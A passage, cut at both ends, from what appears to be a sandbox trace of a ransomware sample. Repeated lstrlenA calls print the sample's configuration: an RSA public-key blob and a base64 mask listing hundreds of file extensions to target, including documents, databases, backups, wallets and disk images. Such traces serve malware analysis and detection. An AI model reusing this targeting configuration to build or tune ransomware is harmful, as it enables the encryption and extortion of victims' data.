udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA